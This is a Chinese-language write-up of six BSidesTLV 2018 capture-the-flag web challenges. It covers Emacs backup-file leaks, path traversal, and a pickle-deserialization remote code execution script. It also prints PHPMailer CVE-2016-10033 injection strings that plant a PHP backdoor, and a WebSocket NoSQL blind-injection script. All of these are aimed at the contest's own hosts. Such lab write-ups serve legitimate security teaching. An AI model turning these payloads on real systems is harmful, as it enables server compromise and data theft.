BSidesTLV 2018 CTF WriteUp(附CTF环境)
字数 2069 2025-08-18 11:37:38
BSidesTLV 2018 CTF 题目解析与教学文档
0x01 比赛环境搭建
比赛环境下载链接:
magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7
环境信息:
- 格式:Virtual Machine (Virtualbox - OVA)
- 系统:Linux
- CTFD用户账户:user:user
- CTFD Admin账户:bsidestlv:bsidestlv
- Boot2Docker SSH:docker:tcuser
0x02 题目详细解析
1. Redirect me
题目地址:http://challenges.bsidestlv.com:8081
解题步骤:
- 访问页面发现不断重定向
- 观察重定向路径(如18.html)
- 手动修改URL尝试后续数字(37.html, 40.html等)
- 在40.html的响应内容中找到flag
技术要点:
- HTTP重定向跟踪
- 手动URL枚举
2. IH8emacs
题目地址:http://challenges.bsidestlv.com:8443
解题步骤:
- 识别题目提示与Emacs备份文件相关
- 尝试访问index.php~(Emacs备份文件)
- 在备份文件中发现被注释的管理界面地址/administration/
- 寻找.htaccess~和.htpasswd~文件
- 在.htpasswd~中找到登录凭证
- 使用John the Ripper破解hash
- 使用破解后的凭证(bsidestlv:performa)登录获取flag
技术要点:
- Emacs备份文件识别(~后缀)
- .htpasswd文件利用
- 密码hash破解
3. Creative Agency
题目地址:http://challenges.bsidestlv.com:3333
解题步骤:
- 题目描述给出flag绝对路径:/home/bsidestlv/flag.txt
- 发现网站图片加载路径被反转(如ƃƃdɾ˙1punoɹɹƃƃʞʞɔɐɐq/ƃƃɯɯı/˙对应./img/background1.jpg)
- 构造反转路径读取flag.txt:
- 原始路径:/home/bsidestlv/flag.txt
- 反转后:ʇʇxʇʇ˙ƃƃɐɐʃɟɟ/ʌʃʇʇsǝǝpısq/ǝǝɯɯoɥɥ/˙˙
- 通过/img?file=参数访问反转路径获取flag
技术要点:
- 任意文件读取漏洞
- 路径反转技巧
- 编码转换
4. I'm Pickle Rick!
题目地址:http://challenges.bsidestlv.com:8088
解题步骤:
- 分析页面源代码中的JavaScript逻辑
- 理解网站工作流程:
- 视频播放结束后调用pickleRick()
- pickleRick()调用anatomyParkMembers("morty")
- 发送请求到/getMembers.html?visitor=morty
- 返回base64编码的压缩数据
- 调用statusAnatomyParkMembers()处理数据
- 发现数据使用gzip/deflate压缩
- 构造恶意压缩数据实现RCE:
import zlib import requests import base64 def create_command(cmd, args, flags): mould = """csubprocesscheck_output(((S'{0}'S'{1}'S'{2}'ltR.""" return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9)) targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json' r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))
技术要点:
- WebSocket协议分析
- 数据压缩利用
- 远程代码执行
5. ContactUs
题目地址:http://challenges.bsidestlv.com:8080
解题步骤:
- 识别为PHPMailer漏洞(CVE-2016-10033)
- 构造恶意邮件发送表单:
Name: zusheng Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.php is"@qq.com Message: <?php phpinfo(); ?> - 根据返回提示调整后门位置:
Name: zusheng Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.php is"@qq.com Message: <?php echo exec('cat $(find / -name flag.txt)'); ?> - 访问生成的PHP后门文件获取flag
技术要点:
- PHPMailer漏洞利用
- 邮件头注入
- 后门文件写入
6. NoSocket
题目地址:http://challenges.bsidestlv.com:8030/login
解题步骤:
- 分析页面JavaScript代码
- 发现WebSocket连接(ws://challenges.bsidestlv.com:8000/login)
- 识别验证逻辑存在NoSQL注入漏洞
- 使用盲注技术逐字符获取密码:
import string from websocket import create_connection def datachar(i): for char in string.printable: password = "' || this.password[%d] == '%s" % (i, char) data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password ws.send(data) response = ws.recv() if "Success!" in response: return char ws = create_connection("ws://challenges.bsidestlv.com:8000/login") response = "" for i in range(10, 30): if datachar(i) is None: break response += datachar(i) print response print 'Flag: BSidesTLV{' + response ws.close()
技术要点:
- WebSocket协议
- NoSQL注入
- 盲注技术
0x03 总结与学习要点
-
信息收集技巧:
- 备份文件(.bak, ~)
- 配置文件(.htaccess, .htpasswd)
- 源码注释信息
-
漏洞利用技术:
- 路径遍历/任意文件读取
- 已知漏洞利用(PHPMailer)
- NoSQL注入
- WebSocket协议分析
-
编码与转换:
- Base64编码
- Gzip/deflate压缩
- 字符串反转技巧
-
自动化工具使用:
- John the Ripper密码破解
- Python脚本编写(requests, websocket库)
-
CTF常见技巧:
- 盲注技术
- 远程代码执行
- 后门文件写入
通过分析这些题目,可以全面了解Web安全中的多种攻击技术和防御方法,建议在实际环境中复现这些题目以加深理解。